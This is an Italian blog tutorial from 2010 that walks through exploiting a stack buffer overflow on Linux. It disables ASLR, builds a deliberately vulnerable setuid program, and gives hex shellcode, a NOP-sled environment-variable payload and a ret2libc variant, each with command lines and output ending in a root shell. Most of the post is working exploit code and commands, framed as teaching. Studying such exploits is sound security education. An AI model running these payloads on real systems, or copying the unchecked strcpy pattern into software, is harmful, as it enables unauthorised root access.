Friday September 10th 2010

Le basi del BOF Buffer overflow

Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l’ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura…

Dopo l’articolo sulle basi dell’assembly e del debugging, vediamo in questo come implementare la tecnica del buffer overflow.

Senza perderci troppo sulla teoria che rimando a wikipedia, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.

Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Per riabilitarlo invece:

root@bt:~# sysctl -w kernel.randomize_va_space=3

vuln.c

int main(int argc, char **argv){
          char buf[8];
          strcpy(buf, argv[1]);
          printf("Hello %s\n", buf);
}

Compiliamo:

# gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’

Ricordiamoci di utilizzare le opzioni -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 per il kernel 2.6.x e settiamo il suid:

#chmod +s vuln

Procuriamoci uno shellcode da shellcode.org testiamo il suo funzionamento:

char main[] =
     "\xeb\x19\x5e\xb0\x46\x31\xdb\x31"
     "\xc9\xcd\x80\x31\xc0\xb0\x0b\x89"
     "\xf3\x31\xff\x57\x56\x89\xe1\x31"
     "\xd2\xcd\x80\xe8\xe2\xff\xff\xff"
     "/bin/sh";

Testiamo il suo corretto funzionamento:

root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#

Bene ora possiamo esportare il tutto in una variabile d’ambiente aggiungendo anche del nop code.

user@bt$ export SH=`perl -e 'print "\x90"x64,"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"'`

Ora non ci resta che individuare dove è localizzata la variabile d’ambiente appena creata.

get.c

int main(int argc, char *argv[])
{
          printf("The address of %s is %p\n",argv[1], getenv(argv[1]));
          return 0;
}

Compiliamo e cerchiamo l’indirizzo della variabile d’ambiente:

user@$ ./get SH
The address of SH is 0xbffffed4

Ora possimao lanciare l’exploit sull’indirizzo appena trovato:

user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print "\xd4\xfe\xff\xbf"x4'`
Hello ����������������
# whoami
root

Possiamo fare anche la stessa cosa senza utilizzare una variabile d’ambiente e shellcode, ma cercando il binario direttamente nella memoria.

find.c

#include <stdio.h>
#include <stdlib.h>
#define BASE_ADDR    0xb7e7d000
int main(){
           char *ptr=BASE_ADDR;
           while(1){
                     if((strncmp(ptr,"/bin/sh",7))==0){
                                printf("%p : %s\n",ptr,ptr);
                                return 0;
                     }
                     ptr++;
           }
}

Compiliamo con le stesse opzioni adottatte per vuln.c

Analizziamo lo stack address:

user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
 
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 <system>:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y

Nel caso in cui avessimo uno stack dinamico, l’indirizzo 0xb7ea7a90 cambierebbe ogni volta.

Cerchiamo la nostra shell in memoria:

user@bt$ ./find
0xb7faab33 : /bin/sh

Bene ora non ci resta che lanciare l’exploit:

user@bt$ ./vuln `printf "aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7"`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root

Questo articolo ha il solo scopo didattico, infatti con l’utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.

Related Tags: , , ,

Leave a Comment

Altri articoli

Windows 7 e Linux: si parlano ma a fatica!

Avete mai provato a condividere una cartella su Windows?... bene! Avete mai provato ad accedere a tale cartella da [Read More]

Il miglior client IRC?.. Irssi

In questo post vediamo velocemente come configurare Irssi, un client IRC da shell. Installazione Se utilizzate una [Read More]

Le basi dell'assembly e del debugging su unix

Con questo articolo diamo un'occhiata a quelle che sono le principali tecniche di debugging in ambito unix per capire [Read More]

Montare samba sul file system

Potrebbe essere necessario nelle varie configurazioni di dover montare sul proprio hd delle macchine remote con [Read More]